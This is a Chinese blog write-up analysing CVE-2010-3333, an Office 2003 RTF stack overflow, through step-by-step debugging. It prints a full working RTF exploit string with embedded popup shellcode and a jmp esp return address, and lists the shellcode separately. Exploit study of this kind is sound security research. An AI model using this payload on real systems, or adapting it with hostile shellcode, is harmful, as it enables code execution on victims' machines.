漏洞丨cve2010-3333

news2024/11/17 18:23:34

作者:黑蛋

一、漏洞简介

cve-2010-3333是一个Office 2003 的栈溢出漏洞,其原因是在文档中读取一个属性值的时候,没有对其长度验证,导致了一个溢出,看着很简单的一个漏洞,却又有点恶心人。

二、漏洞环境
系统

调试工具

目标程序

16进制编辑器

XP SP3

x32dbg

Microsoft Office 2003

010Editor

三、漏洞分析
首先用msf获取样本:

 

把我们的样本拖到XP SP3中,用x32dbg附加office 2003,打开样本:

 

卡在了这里,这是一个字符串拷贝,ESI指向的值拷贝到EDI指向的位置:

 

我们在这句前面下断点,重新用office 2003打开样本:

 

卡在了我们断点处:

 

在这里我们首先可以获取到拷贝长度的值,ECX的值,是:C8AC,我们查看esi的值:

 

F8运行俩步,走过rep movsd,我们再查看堆栈:

 

可以看到,ESI地址指向的值已经拷贝到了栈中EBP-10的位置向下。而返回地址在EBP+4的位置,我们已经可以确定淹没返回值的位置了。我们继续F8,但是发现程序跑飞,并没有按照正常流程发展,经过思考,应该是拷贝字符串过长,访问l无法访问的地址,导致异常,所以我们需要减少字符串拷贝长度,也就是异常代码上一句的ECX的值C8AC,直接用010Editor查看样本,很容易发现C8AC:

 

我们修改为1000,已经够我们用了,试试还会不会异常:

 

重新附加office2003并打开样本,ECX的值已经变成01000,并且可以不触发异常,正常走下去:

 

随后我们会发现,并没有出现弹栈返回的情况,观察这段溢出函数:

 

他并没有开辟新的栈,这里算是这个漏洞第一个恶心点,我们需要继续F8向下运行,直到这个函数返回,也就是执行完拷贝代码下面的第一个ret:

 

箭头指向的call就是关键call,他没有开辟栈空间,所以还需要向下执行:

 

F8走过接下来一个call,到了这里:

 

一直跟,直到返回到EBP+4的地址,结果一直到一个循环里面来回跑(第二个恶心点),我们重新加载,进入前面F8略过得call,下面断点那里:

 

进来了,继续调试:

 

结果发现还是进入了之前那个循环,所以继续重新调试,回到第二个call里面,发现里面有个call很关键,导致函数无法返回,进入一个循环:

 

我们在je这里修改标志位,跳过这个循环call:

 

然后一直F8,直到一个ret 14:

 

我们观察堆栈,这里就是我们想要的返回,只要淹没EBP+4的返回值,在这个ret我们就可以跳到shellcode,接下来我们需要观察如何让之前那个je跳转,而不是手动修改标志位,再次加载,回到第二个call(淹没代码ret后第一个call):

 

点击并拖拽以移动

发现这里EBP+10的值如果是0,就可以进行跳转,经过观察调试,发现这个值来自我们淹没返回值的payload中的某一个位置,所以接下来我们构造我们的payload,直接修改msf生成的样本(注意:所有字母必须全部换成小写):

{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;7;11111111001090909090909090900000000090909090909090901245fa7f9090909090909090909090909090909000000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db53686666666668666666668bc453505053ff57fc53ff57f8909090900000}}}}

 

标记1处:这里是拷贝长度,不要太大,会造成异常;
标记2处:这里是跳板jmp esp的地址;
标记3处:这里是00000000,用来让je跳转,不要进入循环call;
标记4处:这里就是弹窗shellcode起始位置;
shellcode如下:

FC686A0A381E686389D14F683274910C8BF48D7EF433DBB7042BE366BB33325368757365725433D2648B5A308B4B0C8B491C8B098B6908AD3D6A0A381E750595FF57F895608B453C8B4C057803CD8B592003DD33FF478B34BB03F5990FBE063AC47408C1CA0703D046EBF13B54241C75E48B592403DD668B3C7B8B591C03DD032CBB955FAB57613D6A0A381E75A933DB53686666666668666666668BC453505053FF57FC53FF57F8

 

接下来用x32dbg附加office2003,打开我们的payload看看情况:

 

拷贝成功,jmp esp地址成功淹没返回值,接下来观察je那里是否成功:

 

继续执行,到ret 14后:

 

成功到了jmp esp处,而esp指向我们的shellcode位置,继续执行,到我们弹窗代码:

 

F9运行,弹窗成功:

 

在这里补充一下最后一个恶心点,也是需要注意的地方,就是在构造payload时候,无论是跳板地址,或者我们的弹窗shellcode,都要把所有大写改成小写,否则加载到程序,会识别成其他东西,比如把跳板地址大写:

 

用office打开并到拷贝代码之前:

这里7FFA4512已经被识别成70004512。后面的弹窗shellcode也是一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/107517.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python学习基础笔记五十五——接口类和抽象类

# 设计模式: 《设计模式》 接口类:Python原生不支持; 抽象类:Python原生支持的。 例: from abc import abstractmethod, ABCMetaclass Payment(metaclassABCMeta): # 元类 默认的元类是 type 规范类abstract…

MyBatis学习 | 全局配置文件

文章目录一、简介二、各个标签2.1 properties(属性)2.2 settings(设置)2.3 typeAliases(类型命名)2.4 typeHandlers(类型处理器)2.5 plugins(插件)2.6 enviro…

电容这段走线影响这么大?

公众号:高速先生 作者:李远恒 一日,来了一个电源仿真项目,雷工像往常一样熟练的打开了PCB文件,先是例行查板。不查不要紧,一查还真有问题,话不多说直接上图: 定睛一看,这…

星火计划学习笔记——参考线平滑算法解析及实现(以U型弯道场景仿真调试为例)

文章目录1. Apollo参考线介绍1.1 参考线的作用1.2 导航规划的路线1.3 为什么需要重新生成参考线1.4 ReferenceLine数据结构1.5 ReferencePoint数据结构1.6 参考线处理流程1.7 参考线生成2. 参考线平滑算法2.1 参考线平滑算法总览2.2 参考线平滑算法流程2.2.1 设置中间点anchor …

康希通信冲刺科创板上市:上半年收入2亿元,计划募资约8亿元

12月21日,格兰康希通信科技(上海)股份有限公司(下称“康希通信”)在上海证券交易所递交招股书,准备在科创板上市。本次冲刺科创板上市,康希通信计划募资7.82亿元。 据贝多财经了解,康…

Word处理控件Aspose.Words功能演示:在 Java 中将 DOC 或 DOCX 转换为 PNG

aspose.words是一种高级Word文档处理API,用于执行各种文档管理和操作任务。API支持生成,修改,转换,呈现和打印文档,而无需在跨平台应用程序中直接使用Microsoft Word。此外, Aspose API支持流行文件格式处…

【C++入门基础(上)】

Cross the stars over the moon to meet your better-self. 目录 1 命名空间 1.1 命名空间定义 1.2 命名空间使用 1.2.1 加命名空间名称及作用域限定符 1.2.2 使用using将命名空间中成员引入 1.2.3 使用using namespace 命名空间名称引入 2 C输入&&输出 3 缺省参数…

Mentor-dft 学习笔记 day47-On-Chip Clock Controller Design Description

On-Chip Clock Controller Design Description有三种类型的片上控制器设计:standard, parent, and child。可以根据设计要求选择它们。使用OCC时,必须考虑本节中讨论的设计元素。The Standard OCC 标准OCC为快速捕获提供快速时钟,为换档和慢速…

Java字节流的使用:字节输入/输出流、文件输入/输出流、字节数组输入/输出流

InputStream 是 Java 所有字节输入流类的父类,OutputStream 是 Java 所有字节输出流类的父类,它们都是一个抽象类,因此继承它们的子类要重新定义父类中的抽象方法。 这里首先介绍上述两个父类提供的常用方法,然后介绍如何使用它们…

springboot整合shiro + jwt + redis实现权限认证(上手即用)

目录前言项目结构依赖导入建数据库表建表语句使用插件生成增删改查添加MyRealm添加ShiroConfig添加JwtFilterJWT相关得类JwtTokenJwtAudienceJwtHelper添加BeanFactory只贴出主要得类,具体得可以看我的gitee,接口都自测过的。前言 最近项目中涉及到使用…

NEST.JS使用心得

最近部门分享了nest.js技术,旨在前端人员通过项目积累将可重复使用的数据或者自己需要的数据通过nest设计出接口方便快速开发,不需要等待后端开发人员的数据。学习了两天发现nest很有意思,所以来分享下最近两天的学习心得。 nest中文文档&am…

linux下使用命令TC进行网络限流 —— 筑梦之路

Linux 下的流量控制原理 通过对包的排队,我们可以控制数据包的发送方式。这种控制,称之为数据整形,shape the data,包括对数据的以下操作: 增加延时 丢包 重新排列 重复、损坏 速率控制 在 qdisc-class-filter 结构下&#x…

ADI Blackfin DSP处理器-BF533的开发详解64:电子相册的设计(含源码)

硬件准备 ADSP-EDU-BF533:BF533开发板 AD-HP530ICE:ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 代码实现功能 代码实现了将 SD 卡根目录下的所有文件进行文件列表,然后将 480*272 尺寸的 JPEG 文件进行 JPEG 解码,将解…

校园跳蚤市场平台/校园二手交易系统

摘 要 本文论述了校园跳蚤市场平台的设计和实现,该网站从实际运用的角度出发,运用了计算机网站设计、数据库等相关知识,网络和Mysql数据库设计来实现的,网站主要包括学生注册、学生登录、浏览商品、搜索商品、查看商品并进行购买…

Blender——“苹果”建模

效果图 1.调出点线面面板,衰减编辑 1.1打开blender,点击常规,按A全选物体(摄像头、光源、正方体),按delete删除。 1.2 在3D视图中添加一个经纬球。点击添加,选择网格—>经纬球。 1.3 点击下…

前端JS也可以连点成线(Vue中运用 AntVG6)

前言 什么是 G6?G6 是一个图可视化引擎。它提供了图的绘制、布局、分析、交互、动画等图可视化的基础能力。旨在让关系变得透明,简单。让用户获得关系数据的 Insight。其实说白了就是我们前端中的绘图工具;基于 G6,用户可以快速搭…

Linux基础知识-文件目录结构及基本属性

1、前言 上一篇我们讲到了Linux 文件类型7种类型,本篇我们说说Linux文件目录结构。 2、Linux 目录树 所有可操作的计算机资源都存在于目录树这个结构中,对计算资源的访问,可以看做是对这棵目录树的访问。Linux 的目录结构如下:…

常见日志框架使用及日志打印规范设计

文章目录一、slf4j 简介二、常用日志框架1)log4jpom 依赖log4j.properties 文件配置测试参考2)logbackpom 依赖logback.xml 配置测试参考3) java.util.logging4)commons loggingpom 依赖配置测试参考5)slf4j-simplepom…

MFC UI控件相关

文章目录UI控件相关CDialog::OnInitDialog() 对话框初始化手动添加UpdateData() 刷新窗口数据DoDataExchange()数据与控件动态绑定afx_msg: 声明一个消息响应函数void AFXAPI DDX_Control( CDataExchange* pDX, int nIDC, CWnd& rControl );DDV_MaxChars()UI控件相关 CDia…

20天学会Rust第一天之Helloword

阿sir今天开始学习Rust了,至于为什么学习呢? 以后再说 我们都知道,程序设计 数据结构 算法。 因此,我们依次学习Rust中数据结构的定义&算法的实现,然后用它们实现一个简单的“hello world” 数据结构 Rust提供…